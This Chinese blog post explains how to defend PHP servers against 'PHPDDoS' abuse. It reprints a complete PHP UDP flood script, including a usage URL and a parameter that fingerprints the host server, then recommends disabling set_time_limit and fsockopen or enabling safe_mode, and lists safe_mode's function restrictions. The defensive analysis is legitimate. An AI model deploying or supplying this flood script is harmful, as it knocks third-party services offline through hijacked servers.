预防PHPDDoS攻击以及解决方案,从一份PHPDDOS源码谈防御
完整的PHPDDOS的参考源码,是我在网上随便搜索得来。
<?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Parameters can not be empty!"; exit; } for($i=0;$i<$Sendlen;$i++){ $out .= "A"; } $max_time = time()+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host:$host:$port<br><br>"; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>
我们来看看原理。这段代码利用方式就是放入一个PHP文件,然后随便丢一个服务器上,通过域名或者IP访问这个PHP,.php?host=攻击的域名&port=80&time=6
其实很简单,
就是设置不超时,然后不断的建立UDP链接,当然也存在TCP/SYN的方式,但是链接方式不重要,
看上面关键代码就是
set_time_limit(999999);
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
为什么说这是关键代码,因为这个是让脚本不超时,一个是打开socket,这是无疑是最关键的了。
这么说来似乎找到了解决办法。
1。让脚本超时,
2。不允许打开socket
那就来看看如何解决,
让脚本不允许设置为不超时很简单,设置php.ini,将 1,把set_time_limit函数禁用,2,启用PHP的安全模式(safe_mode=on)
禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,
建议,由于socket常用于发送邮件找回密码,因此建议直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS。。。
附上开启安全模式对程序的影响。。
函数名 限制
dbmopen() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。
dbase_open() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。
filepro() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。
filepro_rowcount() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。
filepro_retrieve() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。
ifx_* sql_safe_mode 限制(!= safe mode)
ingres_* sql_safe_mode 限制(!= safe mode)
mysql_* sql_safe_mode 限制(!= safe mode)
pg_loimport() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。
posix_mkfifo() 检查被操作的目录是否与正在执行的脚本有相同的UID(所有者)。
putenv() 遵循ini 设置的safe_mode_protected_env_vars 和safe_mode_allowed_env_vars 选项。请参考putenv() 函数的有关文档。
move_uploaded_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。
chdir() 检查被操作的目录是否与正在执行的脚本有相同的UID(所有者)。
dl() 本函数在安全模式下被禁用。
backtick operator 本函数在安全模式下被禁用。
shell_exec() (在功能上和backticks 函数相同) 本函数在安全模式下被禁用。
exec() 只能在safe_mode_exec_dir设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用..。escapeshellcmd()将被作用于此函数的参数上。
system() 只能在safe_mode_exec_dir设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用..。escapeshellcmd()将被作用于此函数的参数上。
passthru() 只能在safe_mode_exec_dir设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用..。escapeshellcmd()将被作用于此函数的参数上。
popen() 只能在safe_mode_exec_dir设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用..。escapeshellcmd()将被作用于此函数的参数上。
fopen() 检查被操作的目录是否与正在执行的脚本有相同的UID(所有者)。
mkdir() 检查被操作的目录是否与正在执行的脚本有相同的UID(所有者)。
rmdir() 检查被操作的目录是否与正在执行的脚本有相同的UID(所有者)。
rename() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的UID(所有者)。
unlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的UID(所有者)。
copy() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的UID(所有者)。(on source and target )
chgrp() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。
chown() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。
chmod() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。 另外,不能设置SUID、SGID和sticky bits
touch() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的UID(所有者)。
- 最新评论